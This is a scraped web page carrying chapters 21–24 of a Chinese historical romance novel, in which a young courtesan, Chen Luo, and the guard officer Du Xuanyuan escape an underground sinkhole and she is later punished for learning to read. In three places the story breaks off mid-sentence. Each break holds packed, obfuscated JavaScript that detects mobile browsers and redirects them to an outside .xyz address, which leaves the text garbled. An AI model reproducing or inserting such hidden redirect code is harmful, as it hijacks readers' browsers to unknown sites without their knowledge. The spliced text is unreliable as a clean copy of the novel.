“就是过年的时候，仲秋节、乞巧节，还有每年节度使府大帅的生日，苍梧城中都会放焰火，红橙黄紫的花色，非常好看，足足有两个时辰呢！” 一个苍梧军主帅，过生日竟然要放焰火令全城同庆。杜玄渊愤愤不平地想，这节度使当得还真是奢侈。他不能跟陈荦说着些，便随口问道：“年节放焰火，你怎的能看到？城中娼妓也被准许与城民同观？” 他与陈荦连日共处，最不想提的就是陈荦的身份，最好只当她是寻常路人，可不知为何竟在神思恍惚时脱口而出了。 他意识到自己失言，不动声色向陈荦看去，却见她静静盘坐着，并无异样。 “是啊，”陈荦回答，“每逢城中放焰火，城中所有人都能出门观赏，甚至牢房里那些没有犯死罪的囚犯都能被放到庭院中。申椒馆，东家和鸨母也会开恩允准我们出门。娼妓虽然低贱，也是苍梧城的一份子。” 方才那一瞬间，她察觉到了杜玄渊有如实质的眼神，心里闪过片刻的不自在，有点像是做了什么不好的事抓住一样。可片刻之后，陈荦挺直了脖子。在这生死未卜的天坑里，有什么可隐瞒的，何况杜玄渊早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“杜玄渊，你没有见过清嘉吧？清嘉是申椒馆中最美的小妓。我其实，哪点都不如她。也怪不得四娘会想办法卖掉我……” 长夜无聊，闲聊也只是打发时间。“但是韶音一直也不嫌弃我，反而喜欢我护着我。她希望我有一天也能遇到奇缘，离开申椒馆。只要那人真心相待，替我赎身，长得丑些也没什么！” “即使身有残疾，就算是瘸子瞎子，也是可以的。哈哈，我实在想不出，有一天我跟一个瘸子一同离开苍梧城！” 陈荦突然想到陆栖筠，她想，若是陆栖筠那样的人瘸了腿，在她眼里，依然比寻常男子还要好的。可她怎么敢肖想陆栖筠呢？她把关于妓馆的一切藏起来，扮成干干净净的样子去见他，和他说几句话，于她便是极幸运的事了。这样的心情，杜玄渊这样高高在上的人，该是永远不会懂的吧…… 她用平静的语气说出来，却是剜心之语。身在妓馆，容貌是女子唯一的筹码。连最亲近的姨娘都认为她只能选择身丑之人。 杜玄渊问：“你姨娘说的，你就甘心？” 陈荦：“那有什么办法，韶音说，改变不了的事情就叫命。也许这就是我的命。” 陈荦本是闲话打发时间，可看到杜玄渊一幅若有所思的样子，怕他误会什么，沉默了片刻，便挑开话题问道：“你饿吗？我有些饿了。” “不饿。九幽天坑的秘密大白之后，待你我从这坑中出去，这鬼教定会被剿除的。日后苍梧境内不会有买卖人祭这桩交易了。” 陈荦猜到他和他称作兄长的那人身份不一般，却不知道他们要如何扫除这万人信仰流传百年的鬼教，只当是安慰她。 “谢谢。” 杜玄渊还想问她一个别的问题，可他连日靠野果充饥，此时不仅饥饿，喉咙处阵阵泛苦水，只有不说话好过些。 “你在这里睡吧。” 杜玄渊抄起玄铁剑，退到洞口处，靠着山壁强行闭上了眼睛。 22.二十二章 午夜的九幽天坑寒气逼人，含糊不清的风声从洞外呼啸而过，如同百鬼夜哭。杜玄渊是武人筋骨，扛得住冷，也不信有鬼。可后半夜半睡半醒之间，他在呼啸的风声中听到夹杂其中的野兽的声音。有些像狼嚎，细听又不是狼。杜玄渊不敢再睡，踩灭了身旁的火堆，拔出剑在洞口来回探看。直到天色破晓，第一缕日光从峭壁间射进来，他确认那兽类不会再出没，才躺在洞口背风处睡了过去。 不知道什么时候，沉睡的杜玄渊闻到一阵极诱人的熟肉香味。他平日不是好吃之人，可腹中已有数日没有沾过荤腥了，这股香味由鼻端进入脑子，叫人难以抵抗。他睁开眼睛，看到陈荦正坐在他身旁石头上，看他醒了，便将手中的树杈递过来。 “诺，好吃的！” 那结实的树杈上穿着肉块，色泽金黄，流油溢香。杜玄渊坐起身来，接过陈荦手中的树杈，咬下一口缓慢咀嚼。烤肉没有盐，可口中肉质意外地鲜甜绵软，混合着柴火炙烤出来的热油，竟十分好吃。 杜玄渊注意到陈荦嘴角还残留着炙肉的油渍，知道她吃过了。他一时食指大动，很快将那树杈上的炙肉吃干抹净。 陈荦看他吃完，便笑眯眯地问道：“喝水吗？”好像她昨夜休息得不错。 杜玄渊站起身来，伸展了一下睡得不自在的腰背，随口问道：“你给我吃的是什么？” 陈荦：“毒蛇。” 杜玄渊猛地回过头来：“什么？” 看陈荦的样子十分认真，杜玄渊气愤：“陈荦！” “骗你的。自然不是毒蛇，就是那天你削死的那条蛇。” “你！可那肉的颜色怎么全不一样！”杜玄渊想到蛇扭曲黏腻的样子，天灵盖忍不住发麻， 可口腔和肚腹却十分诚实，完全不能把这股鲜甜的味道和那恶心的蛇联系起来。一时全身的感受十分复杂，想吐吐不出来，只能用恼怒的眼神盯着陈荦。 “陈荦，你竟骗我！” 陈荦白他一眼：“杜玄渊，你已有两日夜没吃东西了！你打算就这么起来去找出去的路？你身上还有力气么？” “你！”杜玄渊无言以对。 他自天亮时睡过去，此时抬头看头顶天光，时辰已至正午。这一觉睡得这么长，确有体力不足的原因。 杜玄渊走到洞前山涧处，捧起清水反复漱口。陈荦在不远处眉眼飞扬地看着，杜玄渊忍不住瞪她：“笑什么笑！晨起盥漱你做了吗？嘴角冒油，像什么样子！” 杜玄渊那全然不自在却生不起气来的样子根本就是个纸老虎，陈荦一点也不怕，反而觉得有趣，忍不住想多逗一逗他。 杜玄渊：“你赶紧过来啊。” “是是是。” 毕竟骗了人家，陈荦从善如流地走过去。捧起涧水，漱口，擦脸，最后将手沾湿，以指作梳，梳理背后凌乱的长发。 杜玄渊将目光从她背上移开。“你还没告诉我，为什么肉的颜色变了，不像你前日烤的乌梢蛇，看起来倒像京郊猎场中的鹿肉……” “我也不知道，我怕它坏了，昨夜用草绳将它穿起来，挂在吹风处吹了一夜……鹿肉？我长这么大还没吃过鹿肉呢，那是什么味道？” 杜玄渊不欲和她多纠缠味道的问题。荤肉下肚，再喝了好些凉爽的清水，体力恢复了大半。 “陈荦，我们走吧。” 陈荦跟上去，走了一段忍不住问道：“我骗你吃了那蛇肉，你就不生气了？” 杜玄渊回头看了她一眼：“你不许说了。” 陈荦嬉皮笑脸：“是是是，不说了。” ———— 即使是白日，天坑底下也只有少数时候会射入阳光，无法看到太阳，分辨方向十分困难。两人寻了两天两夜，竟没有遇到随杜玄渊一起进入天坑的十名属下，一点踪迹也无。在这么个鬼地方，杜玄渊的意气也渐渐跌落到底。 事到如今，只有试试水中有没有路。 两人沿着这两日活动的踪迹，找到那天陈荦出现的地方。那是一段布满浮萍青苔的溪流，沿着水流的方向上溯，尽头是古藤缠绕的岩壁下一处幽深的潭水。 既找到了源头，杜玄渊折下一段树枝，牵着陈荦，飞快地沿着溪水流淌的方向往下游找去。那溪流几番没入丛林，几番流进地洞，又浮出地表。当两人穿林过岭，踏草翻石找到溪水最终汇入的地方时，却几乎绝望地发现，那溪流流了好大一圈，竟又流回了那处深潭。水往低处流，外界的常理在这天坑底下，全然消失了。 陈荦和杜玄渊都无从得知那天陈荦是不是从这深潭中被水流冲出的。可此时，眼前好像就只有这一个可能了。 杜玄渊静观了片刻，开始脱身上的外袍。 陈荦害怕：“你，你要入水？” 此时头顶已没有多少天光了，幽暗从四周渐渐弥漫起来。 眼前的深潭有数丈之径，水面腐叶漂浮，岩上古藤如长蛇缠绕垂挂，映照出森深的幽绿。再往深处看，便是沉沉的黑暗，令人骨髓发冷。 杜玄渊脱了外袍，将佩剑递到陈荦手里。“陈荦，若我没有上岸，你能出去之时，请将这把剑交到太子殿下手中，行吗？” 陈荦一惊：“什么？” 杜玄渊自小水性出色，可潜入眼前的深潭会不会有变故，他全然没有把握。但一想到今日已是在这天坑底下逗留的第三日，他便不能再等了。 看陈荦一脸震动，到了此时，杜玄渊不得不向她坦明真相。他看着她，神情肃然。“山神庙中，还有蕉叶阁后院，我叫他兄长的那位，就是大宴当今的太子殿下李棠。我叫他兄长乃是大不敬，只不过微服出访，不得已而为之。” “陈荦，太子殿下李棠，乃是我的主君。” 杜玄渊拿着剑：“陈荦，你方才听清我的请求了吗？我想请求你，若我入水后没有上岸，你能出去之时，将这剑交到他手中。” 陈荦站在原地，忘了伸出手。她此前想过他们身份贵重，却没想到，李棠竟是这天下最尊贵的人。杜玄渊说得郑重，陈荦从这爆炸一般的消息中回过神来，在他眼睛里看到潭水一样深沉的黑意。 她震惊了片刻，终于伸手接过玄铁剑，“好，我，我答应你，请你务必小心。” 杜玄渊伸展手脚，回头跟陈荦说了句“等我消息”，便纵身跃入了深潭之中。 陈荦看杜玄渊身影在水中快速一转，便融入幽深的潭水不见了踪迹。 许久，陈荦忍不住喊了一声：“杜玄渊？” 湖面和远处的崖壁将声音撞回，无人回应。陈荦胸口猛地一凉，心好似也随着沉入了潭底。 杜玄渊入水的瞬间，感觉到这潭水彻骨的凉。就像化冰而成，从未照过阳光一样。他睁开眼睛，意外发现这潭水并没有岸上看起来那样浑浊。那些枯藤腐叶都浮在水面，不知为何全没有下沉，水中十分清澈，视线因此很是清晰。 数丈宽的深潭，杜玄渊游了两圈，没有看到潭壁。凭借极好的水性，他隐隐感觉到在靠近山崖的巨石处有水流在动。 他上浮换了口气，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048311|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新下潜。杜玄渊不敢托大，感觉到那股流动的潭水后没有立即游进去。先在不远处试探了不少时间，那流力时大时小，他摸准了时机，把心一横，随着暗流的方向往潭底扎去。 在一片极短的黑暗中，杜玄渊被水流冲撞着，在胸腔中气息快要用尽的时候，忽然感觉到头顶的压力一轻。他猛地蹬水上浮，破水而出时，看到一片地下溶洞。那洞壁上栖息着成片流萤一般的细虫，微弱的光让人勉强能看到周边尺寸之地。 待仔细看清楚是流萤，杜玄渊喜出望外。 ———— 陈荦把杜玄渊那把玄铁剑抱在怀中，眼睛一刻也不敢错开地盯着水面。过了不知多久，杜玄渊“哗啦”一声浮出水面，抓住一根古藤爬上了岸。 陈荦着急地迎过去：“你没事吗？怎么样了？” 杜选渊抹去脸上的水，看着一身红衣的陈荦，陷入了为难。他可以独自潜游到那溶洞之中，却不敢保证能带另一个人过去，何况陈荦是个体质柔弱的女子。 陈荦看出了杜玄渊的意思，雀跃地问他：“谭中有路是不是？”她把玄铁剑递回杜玄渊怀里，“你放心，我会凫水，也会闭气。” “不，”杜玄渊第一反应是拒绝，“陈荦，这潭底暗流汹涌，女子之力或不能抗。我担心你……你待我想想。” “陈荦，”杜玄渊情急之下，忘了男女之别，伸手紧紧扶住陈荦肩膀，“你若能在这潭水附近多呆一日，小心护全自己，两日之内，我必带人来救你。” 杜玄渊说完这句话，突然胸口一滞，就算陈荦不遇到危险，他真的能做到吗？他年少轻狂，兼得杜玠教导，李棠赏识，从前总觉得世上无不可达成之事。可这数日以来，九幽山之中，他屡屡失误挫败，已误了好多事…… 两人商量许久。 陈荦轻声说：“杜玄渊，我担心我姨娘，若我晚出去一日，我怕她会想不开……与其徒劳等待，我宁愿试试。韶音已经没了清嘉，若再失去我的消息，她，活不成的。” 毕竟月圆之夜她已经被迫潜过一次水。那次没要了她的命，陈荦宁愿相信，这暗流中生机多过危险。 “你……” 杜玄渊自己否决了让陈荦原地等待的提议，这天坑之中危机四伏，此时他已别无选择。 “好。” 杜玄渊将佩剑绑在背上，反复跟陈荦讲明潭底暗流的节律。看陈荦低头默默地记着，杜玄渊心里突然涌上一阵愧疚，他本是带人来解救她的，如今却让她随他一起涉入险境。他实在不该如此…… 一切准备就绪，杜玄渊先跳入潭中，接住随后跳下的陈荦。陈荦的水性比他预想中要娴熟，适应潭水寒冷之后，迅速跟杜玄渊一起游到岩壁暗流之处。 让杜玄渊慌乱的是，这次却又跟方才不一样。那水流的流向混乱，游在其侧，片刻之间竟不能洞悉其去处。 深水之中，一切无声。杜玄渊看到，陈荦渐渐皱起眉，用手指了指上方。她这是气息即将用尽，想上浮换气。 就在这时，杜玄渊感觉到一阵漩状的水流从身侧涌过，那就是流向外面的……幽暗的寒潭中，几乎没有多余的瞬息留给他思虑。杜玄渊游过去，长臂一展，将陈荦拢向自己，随即接住了她轻薄的双唇，向内渡了一口气。 唇齿交接之际，他最后看到的是那日古城门夕阳下，陈荦像草叶一样的眼睫。那眼睫在水中忽闪开来，似是惊讶，却没有推开他…… 身侧暗流突然猛地加快，往某个方向冲去，瞬间将两人扯入了黑暗。 23.二十三章 夏日流萤，人间星河。 陈荦用求生的意志浮出水面，爬上岸后晕厥过去数息。回过神来的瞬间，听见身旁的人大口地喘着气。两人并肩在地上躺着，陈荦的手被杜玄渊紧紧捏在手里。 过了许久，陈荦有些迷糊地说：“杜玄渊，我们出来了，好像有星星……” 杜玄渊喘匀了气，“不是星星，那是流萤。” “嗯？” 陈荦和杜玄渊一同坐了起来。 这是一处不知位于何处的地下溶洞，头顶垂坠着大大小小的石钟乳。两人在幽暗的萤光中交换了个眼神，眼中俱是欣喜。 九幽天坑中，一只这样的流萤都没有！这流萤不生在水中，必然是从外边飞来的！他们终于从那鬼域般的绝境出来了！ 两人瞬间都振奋了起来。站起身来，杜玄渊一边和陈荦互相扶着，一边把玄铁剑拿在手里。两人踩着脚下的水流，借着洞中的微光，向前摸索着走去。 在溶洞之中不知走了多久，在重新看到天光的那一刻，陈荦高兴得在原地跳了起来。月圆之夜跳入水中那一刻，她根本不敢想还有绝处逢生的时刻。 陈荦挣开杜玄渊的牵扶，自己先朝那有光的地方跑去。出得洞外，发现他们正站在某处不知名的山间，四周没有了合围的山崖峭壁、森冷的巨木古藤，地势十分开阔。头顶一片银光泻下，眼前满地清辉。 山中不知日月，此时，已不知道是哪一日的夜半了。 陈荦长这么大，从来没有在苍梧城中见过这样明亮洁白的月光。 ———— 杜玄渊在她之后从溶洞走出来，也被满地白如银练的清辉惊住。九幽天坑这几日，是他十九年来最奇特的一段经历。 四周再无峭壁遮挡，陈荦忍不住张开双臂，仰着头深深呼吸。“想不到我竟能活到此刻！四娘绝对想不到我还活着！韶音知道我还活着，她一定会去庙里拜菩萨的！” 杜玄渊被她满眼的欣喜所感，也不由自主地挤出一个笑容。这还是陈荦第一次见杜玄渊笑。陈荦忍不住在心里想，这可比他平日一贯傲慢古板的样子好看多了，可惜实在不多见。 两人体力几乎耗尽，不能再多留。杜玄渊自月相辨认出方向，便搀扶着陈荦，借着月光往山外走。 山风簌簌，水银泻地。陈荦低着头，极认真地盯着脚下的路，削瘦的肩腰虚倚在杜玄渊一只手臂间，她浑然不觉。静静地赶着路，这时杜玄渊突然想到一件事，这件事他闷在心里好奇许久了。 “陈荦，你既不认得字，预备怎么读那《大宴刑统》？” 陈荦一时没听清，“什么？” “你既不能识字，预备怎么读那《大宴刑统》里的条文？” 陈荦疑惑地回过头：“你怎么知道我有《大宴刑统》？” 杜玄渊看她一眼，不知她是什么意思。 陈荦被他盯着，有些很不好的预感，嘀咕道：“那一包袱律册，不是陆栖筠送给我的吗？” 杜玄渊：“陆栖筠？那是谁？” “啊？”电光火石间，陈荦在原地站住，像是被电光一击，惊讶地看着杜玄渊：“那素色包裹里的《大宴刑统》，是，是你送给我的？” 杜玄渊神色晦暗地点点头。 “为什么？我没有帮你们找出贼人……” “你虽没有来源安客栈报信，然而能与我在同一天找到那贼人的小院，也极不易。我既在质铺门口答应了你，能做到这一步，便算你有功。我不能食言。” “原来，原来是你……” 陈荦惊讶过后，心里一阵失落又一阵意外，说不清的复杂。怎么会不是陆栖筠？怎么会是杜玄渊？因为这些在苍梧城中买不到的律册，她已经将陆栖筠记在心里默默感恩许久了。 杜玄渊觉察到她有些异样，却对陆栖筠其人毫不知情，便提醒道：“你还未回答我。” 他这么问，让陈荦想起了此前杜玄渊看她的那种探寻又好似带着些轻视的眼神。陈荦不愿意回答他。 “我就是想要那律册，其他的你就不必多问了，我自有我的办法。” 复又回头真心实意地感谢道：“既是你赠送与我，多谢了。” 杜玄渊心想，她知不知道，那律册里许多条款日后都是要改动变化的。杜玠入政事堂已久，不满《大宴刑统》与当今世风世情有众多龃龉之处，正与几位副相商议，准备着手修改。以杜玠理政的一贯作风，或许只需三五载，这旧律册便会废除，新的律册便将推行于世。 陈荦默默地行着路，想起那包袱里的律册散发出的油墨清香。一时回过神来，看杜玄渊放开了搀扶她的手，站到前面一块山石上巡视四周。 陈荦看着那清峻的背影，有一瞬间，一个极离谱的想法就这样钻了出来。 杜玄渊会不会……其实没有那么瞧不起她？他会不会是，有一点点喜欢她的？ 杜玄渊查看完毕，回头跳下山石，“走吧，转过前面的矮丘，再折而往东。” 陈荦低下头，掩饰自己方才脑子里的天马行空。怎么可能呢？ 山路陡峭，杜玄渊伸手要搀扶陈荦。陈荦不动声色地说了声我可以的，自己从身旁的草丛里捡了根树枝当作拐杖，稳当地先打头走了。刚才那想法一钻出来就挥之不去。她现在最好不要和杜玄渊接触，怕自己想多了，闹出什么笑话。 两人还未走出三丈远，突然听到矮丘之后有马蹄声传来。杜玄渊身体的反应快于脑子，上前一把护住陈荦。正待躲藏，却又停在原地。这马蹄声很是熟悉！ “那里有人！小心！” 杜玄渊听这说话声，急忙站到高处，借着月光看清了山丘后的人马，是他熟悉的两名东宫家将。那两名家将也看到了杜玄渊，喜道：“是中郎将！找到他了！” 那两位家将策马转过矮丘，在杜玄渊面前下马。 “中郎将！” 杜玄渊问道：“如此深夜，你们为何找到这里来？” 那两名家将待要跟杜玄渊详禀这些天的事，看他身旁站着个红衣少女，均默契地闭了口。只其中一位简要答道：“主上亲自来了，领着我们在这九幽山中已找了两日。快随我们去见主子吧！请上马。” 其中一位家将随即策马回去报信。杜玄渊将陈荦扶上马，自己与另一位步行，快速往东而去。 陈荦骑在马上，走了没多远，老远就看到李棠越过一票随从，大步向这边走过来：“子潜！” 想到那竟是太子殿下，这是她这辈子见过最尊贵的人。陈荦不敢再骑在马上，老远跳下马，避到杜玄渊身后。 杜玄渊走到李棠面前，撩开袍子跪在地上。陈荦被杜玄渊膝头磕碰石块的声音吓了一跳，退了两步无措地站在原地。 “请殿下治臣专擅、无能之罪。” 在这月夜荒野，谁能想到大宴最尊贵的储君会到这危急四伏的山间来，就为了找杜玄渊。 李棠走近，看杜玄渊虽然一身狼狈，但还能口齿清楚地请罪，身后还跟着个不清不楚的红衣少女，可见身上并未重伤。他自接到杜玄渊进入九幽天坑的消息后，心急如焚，亲自带着所有人进这山中彻夜寻找。如今确认他无恙，才沉下神色。 “杜玄渊！谁让你擅作主张下到那天坑里去的？” 他声音不大，可自带天家的威严，还有明显的怒气。陈荦怯怯地看着，看得出李棠对杜玄渊十分关怀，只是他认为杜玄渊做错了。 杜玄渊跪着，听见李棠发怒，一时心绪纷乱，不知从何说起。 “答话。” “是，是臣十四那日未先请示殿下，自作主张 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韶音被人扶着，头恹恹地垂向一边，虚弱得几乎站不起来。突然听到陈荦的声音，睁开眼睛一看，竟真的是陈荦。 “楚楚！”她推开搀扶的人，向陈荦跑去，却站立不稳，双腿一歪扑倒在地上。韶音顾不得疼，手脚并用向陈荦爬去，直到一把抓住陈荦，把陈荦搂在怀里，她才放声大哭起来。 “老天开眼，楚楚，你没死！若没了你和清嘉，我可怎么办！” 韶音的手凉得像冰块，陈荦急忙用双手捂住给她暖住。“我没死，姨娘，我好好的！” 她还不知道韶音被支开之后是如何察觉的，又是如何从城中一个人找到这里来的……陈荦拢着那双手，发现这才一段时间不见，韶音怎么又瘦了这么多。她瘦得面部的骨头凸起，头发凌乱，说话嚎哭时脖颈间全是皱纹。 也许是午夜的山间太冷，韶音的身上冰凉得无一丝人气，一边搂着陈荦哭，身子不时一阵抽搐。 陈荦抱着她心想，她那天冒险潜入深潭虽然危险，但幸好她下了决心跟杜玄渊出来了。若再晚些时候还找不到她，韶音只怕会发疯。 为免搅扰李棠，将士将韶音和陈荦请到山石后歇息。 杜玄渊还跪在地上，李棠呵斥他：“杜玄渊，你以为这里是平都城么！我派人来此地明察暗访长达月余，才大致摸清鬼教来源。这九幽地界神秘莫测，危机四伏，孤是派你来解救受害人，你只须将她救出便可。干什么要逞强下那天坑，还只带十个人！” “孤什么时候给了你领着将士去冒险送命的权力？你若是死在那天坑里，让我怎么跟杜相交代！” 李棠知道他本意是将探寻清楚天坑的诡秘，在演武大会来临前立下一功。可杜玄渊一入天坑后就失去了消息，安排在入口处守候的兵丁等了三整日，按他的安排回苍梧城中给李棠报信。李棠一听杜玄渊失踪，当即带着所有兵将来到九幽山，在这山中找了两天两夜，才将他找到。不仅折了几名将士，还兴师动众引人注意。一切皆因杜玄渊擅自做决定，没有加以准备便以身犯险。 陈荦安抚好韶音，从山石后偷偷探出头，远远看到杜玄渊跪在李棠身前，李棠好像非常生气，训斥了他许久。 杜玄渊一直低着头无有分辩，许久得了李棠口令，才撑着站了起来。从陈荦的视角，她不知杜玄渊做错了什么，让他的主君生那么大的气。在这月夜的荒野，却是她第一次目睹不可仰视的大人物身上森严的规矩和滔天的权势，更让他对李棠和杜玄渊跟增添了一层惧意。 九幽天坑的杜玄渊，和外间的杜玄渊，好像全然不是一个人。陈荦想了想方才赶路时产生的绮念，心里先行将之否决了。 24.二十四章 陈荦和韶音被李棠遣人送回苍梧城。 李棠虽然不喜这两名女子，还是命人告诉她们，待时机来临，九幽地界的鬼教必将被尽数剿除，此后再不会有无辜女子受害。 那将士将她们扶下马车，传完话，便转身上马而去，一句多余的话都无。陈荦默然听着，铲除鬼教，于常人来说难如登天。可李棠是大宴的太子，李棠说铲除，那就真的能铲除的吧…… 陈荦刚要扶着韶音进城，五六个申椒馆的护院在城门口远远看住了他们。 韶住飞快牵住陈荦往城门处躲去：“楚楚，这城中没什么好回去的了。姨娘引开他们，你就想办法逃离苍梧吧，别回来了。” 陈荦从来没想过要跟韶音分开，“逃……能逃去哪里？姨娘，要走我也跟你一起走！” 韶音决绝地摇头，“傻子，姨娘这把年纪，除了申椒馆还能去哪里，你不一样，你听姨娘的，这样……” 两人正在城门处拉扯，突然看到四娘从远处走来，身后又带了五六位打手。 陈荦此时才想起一件事，她已被四娘卖给别人，此时申椒馆已不是她的家，可以不必回去了。 四娘看到陈荦，脸色先是一变，显然是没想到她还能活着回来。她接到报信时还不太相信，此时看到陈荦一袭红裙，显然是发生了些不寻常的事。她随即将那脸色压了下去，摆出主母的架子。陈荦被救，现在一时搞不清楚救她的是什么人，现在不好轻易碰她。可韶音不是，韶音没被卖出，身籍还完完全全在申椒馆押着。 四娘一挥手，两个男人一左一右抓住了韶音。 陈荦看不得韶音伶仃的臂膀被人粗暴地拧在手里，她当即做了决定，走到四娘跟前，问她：“四娘，如果我跟你回馆中去，你能不能叫人放过姨娘？只当她外出了一趟，不加惩罚？” 四娘眯起眼睛盯着陈荦，面无表情，“小姑娘现在倒敢跟我谈条件了……” 陈荦被她盯得后背一凉，想起申椒馆中管教犯错的女人，那些杂役失手将人打死打残，官府是没有人管的。草席一裹，将尸体丢到山沟，便算了事…… “我被你卖给别人，现在可以不必回申椒馆了。四娘，你只须答应不伤害韶音，我便跟你回去，只当一切没有发生过，可以吗？”陈荦不想韶音被打，语气重带有恳求之意。 四娘试探着问：“你怎么回来的？” 陈荦知道她在试探什么，却什么都不想透露。“我是偶然被过路的人所救，人家救了人，便离开了，不知道我是申椒馆的小妓。” 四娘顾盼四周，没发现有异常。陈荦虽然不是清嘉那样的容貌，但她也不想白白损失一口人。 “好吧，”她软下口气来。 “韶音也是馆里的老人了。看在你们母女情深，日后只须好好听话，我便跟东家说说明，放她一码。此次她私自逃出，便既往不咎算了。”她转而交代，“带上她们俩，这就回去！” ———— 陈荦和韶音回到申椒馆她们的屋子，床铺暗格里的财物早不见了。大约是四娘让人来找韶音时翻出拿走的。 韶音抱住陈荦，咬紧了牙悔不当初。若是在九幽山找到陈荦那时就逃走呢？若是不让人送她们回苍梧城来，不让申椒馆的人发现她们呢？ 陈荦平静地收拾屋子，将暗格推回去，将被褥重新整理好。 韶音背过身去擦眼泪，想来想去，没有那么多若是……她带着两个女孩，生在馆中，长在馆中，除了这里，她还能去哪里？她之所以又回到城中，是因为，在这世上她只有这一个去处。除了申椒馆，再无任何一个地方能收留她。 陈荦看到韶音难过，她装作没有看到，没有点破她。有那么一瞬间，她是想逃的，逃出苍梧城，隐姓埋名也好，不再做娼妓了。可看到韶音形销骨立的样子，陈荦便打消了这念头。十五年前，韶音从山沟里将她和清嘉捡回来的那天，韶音和她们的羁绊便浓于血水了。 韶音是她和清嘉的亲娘。清嘉得遇良人，离开苍梧，那是她的福气造化。对陈荦来说，申椒馆是韶音唯一的归处，而韶音的身边是她唯一的归处。韶音没有选择，她也没有。 晚间，四娘派人过来说了一件事。东家和她一起定了陈荦和其余两位小妓梳拢的日子，就在仲秋节过后，八月十七那日。 ———— 陈荦又一次从蕉叶阁中偷溜了出来。 她经过卖为人祭这一劫难，已经许久没有去城北了。陈荦从自己藏书的地方取出笔墨和律册，抱在怀里向小溪走去。今日大约是休沐，村塾里没有诵书声。 陈荦在那石板桥处坐下，展开书册，濡湿笔尖，将纸张铺在面前一块平整的石头上。溪水潺湲，微风习习，不知名的鸟雀在周遭叽啾鸣叫。陈荦在那纸上一笔一划练字，一旦沉浸进去，便练得出了神。 写了许久，她将纸笔收起，试着翻开一册《大宴刑统》。她惊喜地发现，那些密密麻麻的方块字间，间或有二三个字，已经是自己认得的了。 天气炎热，附近空无一人。陈荦轻松地脱掉鞋袜，将双脚浸进溪水里，背靠着方才那块石头。一边泡着脚，一边乐此不疲地寻找那律册上自己认得的字。 韶音找来的时候，太阳已经落山了。 她今日得了闲暇，想到蕉叶阁中看看陈荦，顺便见见老主顾。这一去才知道，陈荦学艺，一边糊弄着她，另一边却偷闲躲懒。经街上小贩的指路，韶音火急火燎地往城北找来。 她惊讶地看到陈荦坐在石板小桥上，正悠闲地晃荡着双脚。身后的石头上放了一摞纸，怀里还抱着一册不知什么东西。原来她这么些年技艺疏松，长久不能学成，都是这样偷懒耍滑来了！ 韶音走近，疑惑问道：“楚楚！你在这里做什么？” 陈荦一听到韶音声音，吓得站了起来，身体稳不住一晃直接淌进了溪流中。 韶音瞥一眼她身边那些笔墨纸张，眼中蓄着火，“这些都是什么？” “姨娘……” 陈荦像是做贼突然被抓住，被韶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15077345|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音森冷的眼神看得浑身发凉，一时却不知道说什么好。 “我问你这些都是什么！”韶音突然提高了声音，“你，你就这样骗我？” 她的声音刮得陈荦耳朵生疼。看陈荦不回答，韶音走过去抓起那一摞写字的麻纸，来来回回撕成碎片，手一甩全部扔到溪水里。 陈荦看着碎纸片漂在溪面从自己小腿旁流过，不敢说话。却趁韶音不注意，把手中的《大宴刑统》悄悄藏在了身上。 “姨娘，我，我错了……” 陈荦只说了这一句话，便什么都不说了。只抠着手指，忐忑地觑着韶音的神色。 韶音一把把陈荦从溪水里拉出来，黑着脸拉起她回城。回城的路上，陈荦一边愧疚，一边却又趁韶音不注意，将书册飞快地藏进了路边一个石洞里。 ———— 陈荦被韶音罚跪。 她不欲声张这件事，关上门让陈荦跪在屋子里。跪到一个时辰，韶音在屋里转来转去，还是气得浑身发抖。她从外面折来一根细长的树枝，呵斥陈荦：“伸出你那不长记性的手来！” 陈荦伸手，韶音一棍抽下去，连皮带筋地疼。小时候她学不会说吉祥话，学不会跳舞，韶音都打过她，但最多打上三下便停下了。陈荦看出来，韶音这一次是真的生气了，照她手板狠狠地抽了十几下，还兀自气得眼睛发红。 “苍梧城这么大！这申椒馆有几个客人是读书应试的？你去沾那笔墨纸砚做什么？自讨苦吃，让人知道了，自寻死路！” 陈荦手板被打得发麻，看韶音气得不成样子，却不敢收回去。韶音最近瘦下去好多，再这样生气，看着比她这个跪着的还让人心疼。 “不擅歌舞，不擅器乐，你拿什么在这里立足？什么都不会，日后被千人踩万人踏么！” 韶音骂了好几遍“千人踩万人踏么”，自己先流下眼泪来，又狠狠地抽了十几下，直到将那枝条抽断了。 陈荦无可辩白。申椒馆东家眼光短浅又极度吝啬，并不为妓子们聘请乐师，多数时候只令她们自学技艺，没有一技之长者便只有以貌侍人一条路。陈荦在蕉叶阁习筝的学费是韶音千方百计省下来的体己钱。为了她和清嘉，韶音从来舍不得用好的胭脂水粉。而她什么都学不好，日后接客都被人嫌弃，四娘定会百般嫌弃苛责…… 韶音凄切地指责她：“楚楚，你太令我失望了。” 陈荦忍着疼，不敢答话。出了会儿神，没有听到动静。抬起头来，却看到韶音身体一歪，软倒在榻前，昏迷了过去。陈荦一把抱住她，“姨娘！姨娘！” 郎中来过后，说韶音是气急攻心导致厥症，必须静养，不能再动气，他给韶音抓了些药。陈荦打开房门，用小扇扇着炉火，坐在门口给韶音煎药。 